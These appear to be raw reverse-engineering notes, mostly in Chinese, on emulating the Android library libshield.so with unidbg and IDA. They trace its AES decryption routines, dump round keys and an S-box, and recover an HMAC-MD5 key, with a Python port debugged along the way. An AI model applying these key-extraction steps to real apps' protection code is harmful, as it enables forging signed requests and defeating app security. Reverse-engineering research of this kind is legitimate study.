md5=196fec526e9b7f6fe28798ecaeb9f438
size: 1024
0000: 51 50 A7 F4 7E 53 65 41 1A C3 A4 17 3A 96 5E 27 QP...
0220: 8B 76 29 43 CB DC C6 23 B6 68 FC ED B8 63 F1 E4 .v)C...#.h...c..
0230: D7 CA DC 31 42 10 85 63 13 40 22 97 84 20 11 C6 ...1B..c.@\\".. ..
0240: 85 7D 24 4A D2 F8 3D BB AE 11 32 F9 C7 6D A1 29 .}$J..=...2..m.)
0250: 1D 4B 2F 9E DC F3 30 B2 0D EC 52 86 77 D0 E3 C1 .K/...0...R.w...
0260: 2B 6C 16 B3 A9 99 B9 70 11 FA 48 94 47 22 64 E9 +l.....p..H.G\\"d.
0270: A8 C4 8C FC A0 1A 3F F0 56 D8 2C 7D 22 EF 90 33 ......?.V.,}\\"..3
0280: 87 C7 4E 49 D9 C1 D1 38 8C FE A2 CA 98 36 0B D4 ..NI...8.....6..
0290: A6 CF 81 F5 A5 28 DE 7A DA 26 8E B7 3F A4 BF AD .....(.z.&..?...
02A0: 2C E4 9D 3A 50 0D 92 78 6A 9B CC 5F 54 62 46 7E ,..:P..xj..TbF~
02B0: F6 C2 13 8D 90 E8 B8 D8 2E 5E F7 39 82 F5 AF C3 .........^.9....
02C0: 9F BE 80 5D 69 7C 93 D0 6F A9 2D D5 CF B3 12 25 ...]i|..o.-....%
02D0: C8 3B 99 AC 10 A7 7D 18 E8 6E 63 9C DB 7B BB 3B .;....}..nc..{.;
02E0: CD 09 78 26 6E F4 18 59 EC 01 B7 9A 83 A8 9A 4F ..x&n..Y.......O
02F0: E6 65 6E 95 AA 7E E6 FF 21 08 CF BC EF E6 E8 15 .en..~..!.......
0300: BA D9 9B E7 4A CE 36 6F EA D4 09 9F 29 D6 7C B0 ....J.6o....).|.
0310: 31 AF B2 A4 2A 31 23 3F C6 30 94 A5 35 C0 66 A2 1...*1#?.0..5.f.
0320: 74 37 BC 4E FC A6 CA 82 E0 B0 D0 90 33 15 D8 A7 t7.N........3...
0330: F1 4A 98 04 41 F7 DA EC 7F 0E 50 CD 17 2F F6 91 .J..A.....P../..
0340: 76 8D D6 4D 43 4D B0 EF CC 54 4D AA E4 DF 04 96 v..MCM...TM.....
0350: 9E E3 B5 D1 4C 1B 88 6A C1 B8 1F 2C 46 7F 51 65 ....L..j...,F.Qe
0360: 9D 04 EA 5E 01 5D 35 8C FA 73 74 87 FB 2E 41 0B ...^.]5..st...A.
0370: B3 5A 1D 67 92 52 D2 DB E9 33 56 10 6D 13 47 D6 .Z.g.R...3V.m.G.
0380: 9A 8C 61 D7 37 7A 0C A1 59 8E 14 F8 EB 89 3C 13 ..a.7z..Y.....<.
0390: CE EE 27 A9 B7 35 C9 61 E1 ED E5 1C 7A 3C B1 47 ..\'..5.a....z<.G
03A0: 9C 59 DF D2 55 3F 73 F2 18 79 CE 14 73 BF 37 C7 .Y..U?s..y..s.7.
03B0: 53 EA CD F7 5F 5B AA FD DF 14 6F 3D 78 86 DB 44 S..._[....o=x..D
03C0: CA 81 F3 AF B9 3E C4 68 38 2C 34 24 C2 5F 40 A3 .....>.h8,4$.@.
03D0: 16 72 C3 1D BC 0C 25 E2 28 8B 49 3C FF 41 95 0D .r....%.(.I<.A..
03E0: 39 71 01 A8 08 DE B3 0C D8 9C E4 B4 64 90 C1 56 9q..........d..V
03F0: 7B 61 84 CB D5 70 B6 32 48 74 5C 6C D0 42 57 B8 {a...p.2Ht\\\\l.BW.
^-----------------------------------------------------------------------------^
模拟生成解密密钥 打断点0xsub_51868中拿到内存中的解密密钥
\\nmx3 176
\\n\\n\\n-----------------------------------------------------------------------------<
\\n
[22:19:50 995]x3=unidbg@0xbffff350, md5=dcc965dfd588772f061ff8078a47e07a, hex=49509d45c2e8ffd3875ccce9f8f5960dd9ef91a49dc3e178013a9c5fc33436a9915f8dbb442c70dc9cf97d27c20eaaf631554006d573fd67d8d50dfb5ef7d7d13b3aeacde426bd610da6f09c8622da2a1bae34eedf1c57ace9804dfd8b842ab670f31a3dc4b26342369c1a516204674b5b97006bb441797ff22e791354987d1a6dd29292efd67914466f006ca6b604099cbe5d5f8204eb86a9b97978e0d904650318b0c2402265cc607036dca87b0e94
size: 176
0000: 49 50 9D 45 C2 E8 FF D3 87 5C CC E9 F8 F5 96 0D IP.E...........
0010: D9 EF 91 A4 9D C3 E1 78 01 3A 9C 5F C3 34 36 A9 .......x.:..46.
0020: 91 5F 8D BB 44 2C 70 DC 9C F9 7D 27 C2 0E AA F6 ...D,p...}\'....
0030: 31 55 40 06 D5 73 FD 67 D8 D5 0D FB 5E F7 D7 D1 1U@..s.g....^...
0040: 3B 3A EA CD E4 26 BD 61 0D A6 F0 9C 86 22 DA 2A ;:...&.a.....\\".*
0050: 1B AE 34 EE DF 1C 57 AC E9 80 4D FD 8B 84 2A B6 ..4...W...M...*.
0060: 70 F3 1A 3D C4 B2 63 42 36 9C 1A 51 62 04 67 4B p..=..cB6..Qb.gK
0070: 5B 97 00 6B B4 41 79 7F F2 2E 79 13 54 98 7D 1A [..k.Ay...y.T.}.
0080: 6D D2 92 92 EF D6 79 14 46 6F 00 6C A6 B6 04 09 m.....y.Fo.l....
0090: 9C BE 5D 5F 82 04 EB 86 A9 B9 79 78 E0 D9 04 65 ..]_......yx...e
00A0: 03 18 B0 C2 40 22 65 CC 60 70 36 DC A8 7B 0E 94 ....@\\"e.`p6..{..
^-----------------------------------------------------------------------------^
#################
term1_idx = int(qword_C21C0[byte2], 16) # BYTE2 问题出现在这 qword_C21C0取出来的值是1个字节和4个字节的情况
term1 = int(loc_C29E8[term1_idx], 16)
v19 = *((_DWORD *)&loc_C29E8 + *((unsigned __int8 )qword_C21C0 + 4 * (unsigned __int8)BYTE2((v17 - 2)))) ^ *((_DWORD *)&unk_C25E8 + *((unsigned __int8 )qword_C21C0 + 4 * HIBYTE((v17 - 2)))) ^ *((_DWORD *)&unk_C2DE8 + *((unsigned __int8 )qword_C21C0 + 4 * (unsigned __int8)BYTE1((v17 - 2)))) ^ *((_DWORD *)&unk_C31E8 + *((unsigned __int8 )qword_C21C0 + 4 * (unsigned __int8)(v17 - 2)));
\\ntemp = (int(qword_C15C0[byte2], 16) & 0xFF000000) ^ (int(qword_C19C0[byte1], 16) & 0xFF0000) ^ (int(RijnDael_AES_C1DC0[byte0], 16) & 0xFF00) ^ (int(qword_C21C0[byte3], 16) & 0x000000FF) ^ int(unk_C25C0[v6 // 4], 16)
\\nv5 ^= *((_DWORD *)qword_C15C0 + BYTE2(v8)) & 0xFF000000 ^ *((_DWORD *)qword_C19C0 + BYTE1(v8)) & 0xFF0000 ^ *((_DWORD *)qword_C1DC0 + (unsigned __int8)v8) & 0xFF00 ^ *((unsigned __int8 *)qword_C21C0 + 4 * HIBYTE(v8)) ^ *(_DWORD *)((char *)&unk_C25C0 + v6);
#################
上述问题修复以后,成功还原解密密钥
=============================================================================================
从sub_C15B8中成功生成了解密轮密钥数组,IDA中查看代码,猜测是在sub_51868中实现了解密
在sub_4B39C中
对函数中的第二个memcpy打断点 发现其src为解密后的值,故将sub_4B39C这个函数完全模拟就是我们想要的函数
void *memcpy(void *dest, const void *src, size_t n); dest:目标地址 src:源地址 n:要复制的字节数
memcpy(a5 + 1, v11 + 16, a2 - 16 - (int)v13);
其中v11 + 16指向的就是解密后的数据
所以sub_51868(a1, (__int64)v11, a2, (__int64)v16, (__int64)&v15, 0);第二个参数就是存放解密后的值
[17:50:12 531]x1=RW@0x4045e010, md5=78094efa10b35cbdb33ac8ea058b505f, hex=f6af0f73aa2cf7633bcc8bde567ae361aa6a5ea44c38e4e8e010f66df66769aef18579c66eca8f9ea278adfb420c5ccbace08d6cf06d843791744906b7a9e6dc000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
size: 112
0000: F6 AF 0F 73 AA 2C F7 63 3B CC 8B DE 56 7A E3 61 ...s.,.c;...Vz.a
0010: AA 6A 5E A4 4C 38 E4 E8 E0 10 F6 6D F6 67 69 AE .j^.L8.....m.gi.
0020: F1 85 79 C6 6E CA 8F 9E A2 78 AD FB 42 0C 5C CB ..y.n....x..B..
0030: AC E0 8D 6C F0 6D 84 37 91 74 49 06 B7 A9 E6 DC ...l.m.7.tI.....
0040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
^-----------------------------------------------------------------------------^
trace以后发现函数只经过了sub_5290C进行解密
[17:50:35 038] Memory WRITE at 0x4045e010, data size = 8, data value = 0x63f72caa730faff6, PC=RX@0x40052a6c[libshield.so]0x52a6c, LR=RX@0x40052998[libshield.so]0x52998
sub_51868(a1, (__int64)v11, a2, (__int64)v16, (__int64)&v15, 0);
\\n__int64 __fastcall sub_51868(__int64 a1, __int64 a2, __int64 a3, __int64 a4, __int64 a5, int a6)
{
if ( a6 )
return sub_526D0(a1, a2, a3, a4, a5, off_108CB0);
else
return sub_5290C(a1, a2, a3, a4, a5, off_108D80);
}
并且因为a6=0,所以确定解密的函数是sub_5290C
__int64 __fastcall sub_5290C(
__int64 result, // 存储的是密文
__int64 a2,
unsigned __int64 a3,
__int64 a4, // 存储的解密密钥
unsigned __int64 a5, // 比a4多一行数据 0000: 31 01 32 34 04 02 08 61 66 7A 66 66 07 17 66 39 1.24...afzff..f9
__int64 (__fastcall *a6)(__int64, _BYTE *, __int64)) // 解密数据
在函数内部又查看到了这个逻辑,a6函数是单块进行解密的函数
result = a6(v8, v36, a4);
IDA中点进去发现是
LOAD:00000000000000A0 DCQ 0x1F180 ; Size in memory image
猜测这里代表我们跳转的一个功能的具体大小
重新tab查看a6汇编发现直接跳转到X8指向的内容
.text&ARM.extab:0000000000052988 LDP X2, X8, [SP,#0xA0+var_88]
.text&ARM.extab:000000000005298C MOV X0, X20
.text&ARM.extab:0000000000052990 NEG X28, X22
.text&ARM.extab:0000000000052994 BLR X8
unidbg查看mx8的值发现
\\n\\n-----------------------------------------------------------------------------<
\\n
[21:55:15 805]x8=RX@0x400522f4[libshield.so]0x522f4, md5=c0bf27544db7bf75e25093befaed4552, hex=f50f1ef8f44f01a908004039090440390c10403912304039081d08530d14403910204039281d1033093440390e184039112440390a0840398c1d0853521e08530b0c4039101e0853ac1d1033321d103309284039301e10334d444029cc1d18330e2c403945f040b90f1c4039481d1833
size: 112
0000: F5 0F 1E F8 F4 4F 01 A9 08 00 40 39 09 04 40 39 .....O....@9..@9
0010: 0C 10 40 39 12 30 40 39 08 1D 08 53 0D 14 40 39 ..@9.0@9...S..@9
0020: 10 20 40 39 28 1D 10 33 09 34 40 39 0E 18 40 39 . @9(..3.4@9..@9
0030: 11 24 40 39 0A 08 40 39 8C 1D 08 53 52 1E 08 53 .$@9..@9...SR..S
0040: 0B 0C 40 39 10 1E 08 53 AC 1D 10 33 32 1D 10 33 ..@9...S...32..3
0050: 09 28 40 39 30 1E 10 33 4D 44 40 29 CC 1D 18 33 .(@90..3MD@)...3
0060: 0E 2C 40 39 45 F0 40 B9 0F 1C 40 39 48 1D 18 33 .,@9E.@...@9H..3
^-----------------------------------------------------------------------------^
根据内存发现这个函数在0x522f4也有定义,跟踪过去
这就是AES单块解密的核心函数
__int64 __fastcall sub_522F4(unsigned int *a1, _BYTE *a2, _DWORD *a3)
{
unsigned int v3; // w16
int v4; // w13
unsigned int v5; // w17
__int64 v6; // x14
_DWORD *v7; // x11
unsigned int v8; // w18
unsigned int i; // w0
int v10; // w6
int v11; // w19
unsigned int v12; // w5
int v13; // w17
int v14; // w3
int v15; // w4
int v16; // w5
int v17; // w18
int v18; // w0
int v19; // w6
int v20; // w7
int v21; // w19
int v22; // w19
int v23; // w4
int v24; // w20
int v25; // w3
int v26; // w18
int v27; // w4
unsigned int v28; // w16
unsigned int v29; // w17
unsigned int v30; // w18
unsigned int v31; // w0
__int64 v32; // x3
unsigned __int8 v33; // w11
unsigned int v34; // w13
_DWORD *v35; // x9
int v36; // w8
int v37; // w14
unsigned __int8 v38; // w15
unsigned __int8 v39; // w2
int v40; // w4
int v41; // w5
unsigned __int8 v42; // w6
unsigned __int8 v43; // w7
int v44; // w19
__int64 result; // x0
unsigned __int8 v46; // w17
int v47; // w10
int v48; // w8
int v49; // w8
int v50; // w8
int v51; // w8
v3 = _byteswap_ulong(*a1) ^ *a3;
v4 = (int)a3[60] >> 1;
v5 = _byteswap_ulong(a1[1]) ^ a3[1];
v6 = 8LL * (unsigned int)(v4 - 1);
v7 = a3 + 6;
v8 = _byteswap_ulong(a1[2]) ^ a3[2];
for ( i = _byteswap_ulong(a1[3]) ^ a3[3]; ; i = v21 ^ v20 )
{
v22 = *((_DWORD *)&loc_C29E8 + BYTE2(v5)) ^ *((_DWORD *)&unk_C25E8 + HIBYTE(v8));
v23 = *((_DWORD *)&loc_C29E8 + BYTE2(v8)) ^ *((_DWORD *)&unk_C25E8 + HIBYTE(i));
v24 = *((_DWORD *)&unk_C2DE8 + BYTE1(v3));
v25 = *((_DWORD *)&loc_C29E8 + BYTE2(i)) ^ *((_DWORD *)&unk_C25E8 + HIBYTE(v3)) ^ *((_DWORD *)&unk_C2DE8 + BYTE1(v8));
v26 = *((_DWORD *)&loc_C29E8 + BYTE2(v3)) ^ *((_DWORD *)&unk_C25E8 + HIBYTE(v5)) ^ *((_DWORD *)&unk_C2DE8 + BYTE1(i)) ^ *((_DWORD *)&unk_C31E8 + (unsigned __int8)v8);
v27 = v23 ^ *((_DWORD *)&unk_C2DE8 + BYTE1(v5)) ^ *((_DWORD *)&unk_C31E8 + (unsigned __int8)v3);
v28 = v25 ^ *((_DWORD *)&unk_C31E8 + (unsigned __int8)v5) ^ *(v7 - 2);
v29 = v26 ^ *(v7 - 1);
v30 = v22 ^ v24 ^ *((_DWORD *)&unk_C31E8 + (unsigned __int8)i) ^ *v7;
v31 = v27 ^ v7[1];
--v4;
v32 = HIBYTE(v28);
if ( !v4 )
break;
v10 = *((_DWORD *)&loc_C29E8 + BYTE2(v28)) ^ *((_DWORD *)&unk_C25E8 + HIBYTE(v29));
v11 = *((_DWORD *)&loc_C29E8 + BYTE2(v29)) ^ *((_DWORD *)&unk_C25E8 + HIBYTE(v30));
v12 = (unsigned __int8)v29;
v13 = *((_DWORD *)&loc_C29E8 + BYTE2(v30)) ^ *((_DWORD *)&unk_C25E8 + HIBYTE(v31)) ^ *((_DWORD *)&unk_C2DE8
+ BYTE1(v29));
v14 = *((_DWORD *)&loc_C29E8 + BYTE2(v31)) ^ *((_DWORD *)&unk_C25E8 + v32) ^ *((_DWORD *)&unk_C2DE8 + BYTE1(v30)) ^ *((_DWORD *)&unk_C31E8 + v12);
v15 = v7[2];
v16 = v7[3];
v17 = v10 ^ *((_DWORD *)&unk_C2DE8 + BYTE1(v31)) ^ *((_DWORD *)&unk_C31E8 + (unsigned __int8)v30);
v18 = v11 ^ *((_DWORD *)&unk_C2DE8 + BYTE1(v28)) ^ *((_DWORD *)&unk_C31E8 + (unsigned __int8)v31);
v19 = v7[4];
v20 = v7[5];
v21 = v13 ^ *((_DWORD *)&unk_C31E8 + (unsigned __int8)v28);
v7 += 8;
v3 = v14 ^ v15;
v5 = v17 ^ v16;
v8 = v18 ^ v19;
}
v33 = *((_BYTE *)qword_C35E8 + BYTE2(v31));
v34 = (unsigned __int8)v29;
v35 = &a3[v6];
v36 = a3[v6 + 8];
v37 = *((unsigned __int8 *)qword_C35E8 + HIBYTE(v29));
v38 = *((_BYTE *)qword_C35E8 + BYTE2(v28));
v39 = *((_BYTE *)qword_C35E8 + BYTE1(v31));
v40 = *((unsigned __int8 *)qword_C35E8 + (unsigned __int8)v30);
v41 = *((unsigned __int8 *)qword_C35E8 + HIBYTE(v30));
v42 = *((_BYTE *)qword_C35E8 + BYTE2(v29));
v43 = *((_BYTE *)qword_C35E8 + BYTE1(v28));
v44 = *((unsigned __int8 *)qword_C35E8 + (unsigned __int8)v31);
result = *((unsigned __int8 *)qword_C35E8 + HIBYTE(v31));
LOBYTE(v30) = *((_BYTE *)qword_C35E8 + BYTE2(v30));
v46 = *((_BYTE *)qword_C35E8 + BYTE1(v29));
v47 = *((unsigned __int8 )qword_C35E8 + (unsigned __int8)v28);
v48 = ((((unsigned __int8 )qword_C35E8 + v32) << 24) | (v33 << 16) | (((unsigned __int8 *)qword_C35E8 + BYTE1(v30)) << 8) | *((unsigned __int8 *)qword_C35E8 + v34)) ^ v36;
*a2 = HIBYTE(v48);
a2[3] = v48;
a2[1] = BYTE2(v48);
a2[2] = BYTE1(v48);
v49 = ((v37 << 24) | (v38 << 16) | (v39 << 8) | v40) ^ v35[9];
a2[4] = HIBYTE(v49);
a2[7] = v49;
a2[5] = BYTE2(v49);
a2[6] = BYTE1(v49);
v50 = ((v41 << 24) | (v42 << 16) | (v43 << 8) | v44) ^ v35[10];
a2[11] = v44 ^ *((_BYTE *)v35 + 40);
a2[8] = HIBYTE(v50);
a2[9] = BYTE2(v50);
a2[10] = BYTE1(v50);
v51 = (((_DWORD)result << 24) | ((unsigned __int8)v30 << 16) | (v46 << 8) | v47) ^ v35[11];
a2[12] = HIBYTE(v51);
a2[13] = BYTE2(v51);
a2[14] = BYTE1(v51);
a2[15] = v51;
return result;
}
将逻辑梳理成python 将对应的表还原
qword_C35E8 -> 0x525CC 看IDA共有256字节
[22:30:29 563]x10=RX@0x400c35e8[libshield.so]0xc35e8, md5=ba4ae4913dab406a429ed7000a8c8ef3, hex=52096ad53036a538bf40a39e81f3d7fb7ce339829b2fff87348e4344c4dee9cb547b9432a6c2233dee4c950b42fac34e082ea16628d924b2765ba2496d8bd12572f8f66486689816d4a45ccc5d65b6926c704850fdedb9da5e154657a78d9d8490d8ab008cbcd30af7e45805b8b34506d02c1e8fca3f0f02c1afbd0301138a6b3a9111414f67dcea97f2cfcef0b4e67396ac7422e7ad3585e2f937e81c75df6e47f11a711d29c5896fb7620eaa18be1bfc563e4bc6d279209adbc0fe78cd5af41fdda8338807c731b11210592780ec5f60517fa919b54a0d2de57a9f93c99cefa0e03b4dae2af5b0c8ebbb3c83539961172b047eba77d626e169146355210c7d
size: 256
0000: 52 09 6A D5 30 36 A5 38 BF 40 A3 9E 81 F3 D7 FB R.j.06.8.@......
0010: 7C E3 39 82 9B 2F FF 87 34 8E 43 44 C4 DE E9 CB |.9../..4.CD....
0020: 54 7B 94 32 A6 C2 23 3D EE 4C 95 0B 42 FA C3 4E T{.2..#=.L..B..N
0030: 08 2E A1 66 28 D9 24 B2 76 5B A2 49 6D 8B D1 25 ...f(.$.v[.Im..%
0040: 72 F8 F6 64 86 68 98 16 D4 A4 5C CC 5D 65 B6 92 r..d.h.....]e..
0050: 6C 70 48 50 FD ED B9 DA 5E 15 46 57 A7 8D 9D 84 lpHP....^.FW....
0060: 90 D8 AB 00 8C BC D3 0A F7 E4 58 05 B8 B3 45 06 ..........X...E.
0070: D0 2C 1E 8F CA 3F 0F 02 C1 AF BD 03 01 13 8A 6B .,...?.........k
0080: 3A 91 11 41 4F 67 DC EA 97 F2 CF CE F0 B4 E6 73 :..AOg.........s
0090: 96 AC 74 22 E7 AD 35 85 E2 F9 37 E8 1C 75 DF 6E ..t\\"..5...7..u.n
00A0: 47 F1 1A 71 1D 29 C5 89 6F B7 62 0E AA 18 BE 1B G..q.)..o.b.....
00B0: FC 56 3E 4B C6 D2 79 20 9A DB C0 FE 78 CD 5A F4 .V>K..y ....x.Z.
00C0: 1F DD A8 33 88 07 C7 31 B1 12 10 59 27 80 EC 5F ...3...1...Y\'.._
00D0: 60 51 7F A9 19 B5 4A 0D 2D E5 7A 9F 93 C9 9C EF `Q....J.-.z.....
00E0: A0 E0 3B 4D AE 2A F5 B0 C8 EB BB 3C 83 53 99 61 ..;M.*.....<.S.a
00F0: 17 2B 04 7E BA 77 D6 26 E1 69 14 63 55 21 0C 7D .+.~.w.&.i.cU!.}
^-----------------------------------------------------------------------------^
补充v4 = (int)a3[60] >> 1; 找到对应的加密轮数 -> 0A
mx2 244
\\n\\n-----------------------------------------------------------------------------<
\\n
[23:51:24 601]x2=unidbg@0xbffff350, md5=ee4842523ec8de717e48d1c96428c830, hex=49509d45c2e8ffd3875ccce9f8f5960dd9ef91a49dc3e178013a9c5fc33436a9915f8dbb442c70dc9cf97d27c20eaaf631554006d573fd67d8d50dfb5ef7d7d13b3aeacde426bd610da6f09c8622da2a1bae34eedf1c57ace9804dfd8b842ab670f31a3dc4b26342369c1a516204674b5b97006bb441797ff22e791354987d1a6dd29292efd67914466f006ca6b604099cbe5d5f8204eb86a9b97978e0d904650318b0c2402265cc607036dca87b0e94689f35400000000095a89177000000000800000000000000808080800000000078f5ffbf000000005c3a642900000000a0f4ffbf0000000030f4ffbf000000000a000000
size: 244
0000: 49 50 9D 45 C2 E8 FF D3 87 5C CC E9 F8 F5 96 0D IP.E...........
0010: D9 EF 91 A4 9D C3 E1 78 01 3A 9C 5F C3 34 36 A9 .......x.:..46.
0020: 91 5F 8D BB 44 2C 70 DC 9C F9 7D 27 C2 0E AA F6 ...D,p...}\'....
0030: 31 55 40 06 D5 73 FD 67 D8 D5 0D FB 5E F7 D7 D1 1U@..s.g....^...
0040: 3B 3A EA CD E4 26 BD 61 0D A6 F0 9C 86 22 DA 2A ;:...&.a.....\\".*
0050: 1B AE 34 EE DF 1C 57 AC E9 80 4D FD 8B 84 2A B6 ..4...W...M...*.
0060: 70 F3 1A 3D C4 B2 63 42 36 9C 1A 51 62 04 67 4B p..=..cB6..Qb.gK
0070: 5B 97 00 6B B4 41 79 7F F2 2E 79 13 54 98 7D 1A [..k.Ay...y.T.}.
0080: 6D D2 92 92 EF D6 79 14 46 6F 00 6C A6 B6 04 09 m.....y.Fo.l....
0090: 9C BE 5D 5F 82 04 EB 86 A9 B9 79 78 E0 D9 04 65 ..]_......yx...e
00A0: 03 18 B0 C2 40 22 65 CC 60 70 36 DC A8 7B 0E 94 ....@\\"e.`p6..{..
00B0: 68 9F 35 40 00 00 00 00 95 A8 91 77 00 00 00 00 h.5@.......w....
00C0: 08 00 00 00 00 00 00 00 80 80 80 80 00 00 00 00 ................
00D0: 78 F5 FF BF 00 00 00 00 5C 3A 64 29 00 00 00 00 x.......:d)....
00E0: A0 F4 FF BF 00 00 00 00 30 F4 FF BF 00 00 00 00 ........0.......
00F0: 0A 00 00 00 ....
^-----------------------------------------------------------------------------^
拿RijnDael_AES_LONG_inv_C35E8的值
mx10 256
\\n\\n-----------------------------------------------------------------------------<
\\n
[09:55:03 339]x10=RX@0x400c35e8[libshield.so]0xc35e8, md5=ba4ae4913dab406a429ed7000a8c8ef3, hex=52096ad53036a538bf40a39e81f3d7fb7ce339829b2fff87348e4344c4dee9cb547b9432a6c2233dee4c950b42fac34e082ea16628d924b2765ba2496d8bd12572f8f66486689816d4a45ccc5d65b6926c704850fdedb9da5e154657a78d9d8490d8ab008cbcd30af7e45805b8b34506d02c1e8fca3f0f02c1afbd0301138a6b3a9111414f67dcea97f2cfcef0b4e67396ac7422e7ad3585e2f937e81c75df6e47f11a711d29c5896fb7620eaa18be1bfc563e4bc6d279209adbc0fe78cd5af41fdda8338807c731b11210592780ec5f60517fa919b54a0d2de57a9f93c99cefa0e03b4dae2af5b0c8ebbb3c83539961172b047eba77d626e169146355210c7d
size: 256
0000: 52 09 6A D5 30 36 A5 38 BF 40 A3 9E 81 F3 D7 FB R.j.06.8.@......
0010: 7C E3 39 82 9B 2F FF 87 34 8E 43 44 C4 DE E9 CB |.9../..4.CD....
0020: 54 7B 94 32 A6 C2 23 3D EE 4C 95 0B 42 FA C3 4E T{.2..#=.L..B..N
0030: 08 2E A1 66 28 D9 24 B2 76 5B A2 49 6D 8B D1 25 ...f(.$.v[.Im..%
0040: 72 F8 F6 64 86 68 98 16 D4 A4 5C CC 5D 65 B6 92 r..d.h.....]e..
0050: 6C 70 48 50 FD ED B9 DA 5E 15 46 57 A7 8D 9D 84 lpHP....^.FW....
0060: 90 D8 AB 00 8C BC D3 0A F7 E4 58 05 B8 B3 45 06 ..........X...E.
0070: D0 2C 1E 8F CA 3F 0F 02 C1 AF BD 03 01 13 8A 6B .,...?.........k
0080: 3A 91 11 41 4F 67 DC EA 97 F2 CF CE F0 B4 E6 73 :..AOg.........s
0090: 96 AC 74 22 E7 AD 35 85 E2 F9 37 E8 1C 75 DF 6E ..t\\"..5...7..u.n
00A0: 47 F1 1A 71 1D 29 C5 89 6F B7 62 0E AA 18 BE 1B G..q.)..o.b.....
00B0: FC 56 3E 4B C6 D2 79 20 9A DB C0 FE 78 CD 5A F4 .V>K..y ....x.Z.
00C0: 1F DD A8 33 88 07 C7 31 B1 12 10 59 27 80 EC 5F ...3...1...Y\'.._
00D0: 60 51 7F A9 19 B5 4A 0D 2D E5 7A 9F 93 C9 9C EF `Q....J.-.z.....
00E0: A0 E0 3B 4D AE 2A F5 B0 C8 EB BB 3C 83 53 99 61 ..;M.*.....<.S.a
00F0: 17 2B 04 7E BA 77 D6 26 E1 69 14 63 55 21 0C 7D .+.~.w.&.i.cU!.}
^-----------------------------------------------------------------------------^
模拟sub_522F4后得到的结果与result = a6(v8, v36, a4);这里的a6效果一样,但是得到的v36并不是解密后的值
解密后的值是HMAC_MD5加密的key
F6 AF 0F 73 AA 2C F7 63 3B CC 8B DE 56 7A E3 61
AA 6A 5E A4 4C 38 E4 E8 E0 10 F6 6D F6 67 69 AE
F1 85 79 C6 6E CA 8F 9E A2 78 AD FB 42 0C 5C CB
AC E0 8D 6C F0 6D 84 37 91 74 49 06 B7 A9 E6 DC
经过分析发现
sub_51CB8(v14, 128LL, v16); // 扩展轮秘钥
sub_51868(a1, v11, a2, v16, &v15, 0); // 解密模块 v11存储跟解密后相关的内容但还不是密文
v13 = v11[a2 - 1]; //结合a2去拿v11的数据赋值给v13
if ( v13 < 0x11 )
{
memset(&v11[a2 - v13], 0, v13); // a2与v13结合移除填充的部分
*a5 = *v11;
memcpy(a5 + 1, v11 + 16, a2 - 16 - v13);
free(v11);
result = 1LL;
goto LABEL_12;
}
======================================================================模拟代码错误分析
错误点1:
根据trace.txt日志一步一步的去分析本地python模拟后的代码与IDA中运行后的值是否一致。
修改不一致的地方
比如加密数据就没有进行小端序处理。
[09:33:28 914][libshield.so 0x05237c] [10010d4a] 0x4005237c: \\"eor w16, w8, w13\\" w8=0xee1755bf w13=0x459d5049 => w16=0xab8a05f6
其中
v7 = a3[6:] # 指向轮密钥起始位置(跳过前6个DWORD)
查看trace.txt
[09:33:28 915][libshield.so 0x0523ac] [4b600091] 0x400523ac: \\"add x11, x2, #0x18\\" x2=0xbffff350 => x11=0xbffff368
unidbg在下一位置打断点
mx11
\\n\\n-----------------------------------------------------------------------------<
\\n
[14:06:29 051]x11=unidbg@0xbffff368, md5=6457e98216f7f37ac45d0e14068f3cac, hex=013a9c5fc33436a9915f8dbb442c70dc9cf97d27c20eaaf631554006d573fd67d8d50dfb5ef7d7d13b3aeacde426bd610da6f09c8622da2a1bae34eedf1c57ace9804dfd8b842ab670f31a3dc4b26342369c1a516204674b5b97006bb441797ff22e791354987d1a6dd29292efd67914
size: 112
0000: 01 3A 9C 5F C3 34 36 A9 91 5F 8D BB 44 2C 70 DC .:..46....D,p.
0010: 9C F9 7D 27 C2 0E AA F6 31 55 40 06 D5 73 FD 67 ..}\'....1U@..s.g
0020: D8 D5 0D FB 5E F7 D7 D1 3B 3A EA CD E4 26 BD 61 ....^...;:...&.a
0030: 0D A6 F0 9C 86 22 DA 2A 1B AE 34 EE DF 1C 57 AC .....\\"...4...W.
0040: E9 80 4D FD 8B 84 2A B6 70 F3 1A 3D C4 B2 63 42 ..M....p..=..cB
0050: 36 9C 1A 51 62 04 67 4B 5B 97 00 6B B4 41 79 7F 6..Qb.gK[..k.Ay.
0060: F2 2E 79 13 54 98 7D 1A 6D D2 92 92 EF D6 79 14 ..y.T.}.m.....y.
^-----------------------------------------------------------------------------^
错误点2:
v26 = loc_C29E8[(v3 >> 16) & 0xFF] ^ unk_C25E8[(v5 >> 24) & 0xFF] ^ unk_C2DE8[(i >> 8) & 0xFF] ^ unk_C31E8[v8]
其中v8值是一个大数导致取值失败 看trace
[09:33:28 921][libshield.so 0x052514] [f25972b8] 0x40052514: \\"ldr w18, [x15, w18, uxtw #2]\\" x15=0x400c31e8 w18=0x28 => w18=0xdf4a1863
这里v8=0x28 unk_C31E8[v8]=0xdf4a1863,问题出现在v8的计算,发现v8处需要添加逻辑v8 & 0xFF = 0x28
其余报错的地方都添加& 0xFF即可,这里属于是IDA伪代码没有翻译精确,看汇编也可以发现
AND W16, W16, #0xFF
v28 = (v25 ^ unk_C31E8[v5 & 0xFF] ^ v7[-2]) & 0xFFFFFFFF # 0xdd15c757(正确) ^ 0xe5d7fc4f(正确) ^ \'0xa491efd9\' v7[-2]
这里的v7[-2]翻译错误
v7 = a3 + 6;
*(v7 - 2); 这里就要退回到之前两个元素的那个位置,所以v7 = a3[6:]这里就翻译错了
*(v7 - 2) = v7[6-2]
__int64 __fastcall sub_522F4(unsigned int *a1, _BYTE *a2, _DWORD *a3)这里调用生成的a2的值是多少(每一个元素4字节)
通过a6函数可以查看
\\n\\n-----------------------------------------------------------------------------<
\\n
[14:15:40 703]x1=unidbg@0xbffff2b8, md5=c34941dd6eba0cbabb7670a8ccefcebe, hex=3501323404020861667a6666071766390000000000000000000000000000000090415b2c0000000009370c4000000000240000000000000000301540000000000020154000000000600000000000000000e045400000000060000000000000008cb245400000000090f4ffbf00000000
size: 112
0000: 35 01 32 34 04 02 08 61 66 7A 66 66 07 17 66 39 5.24...afzff..f9
0010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
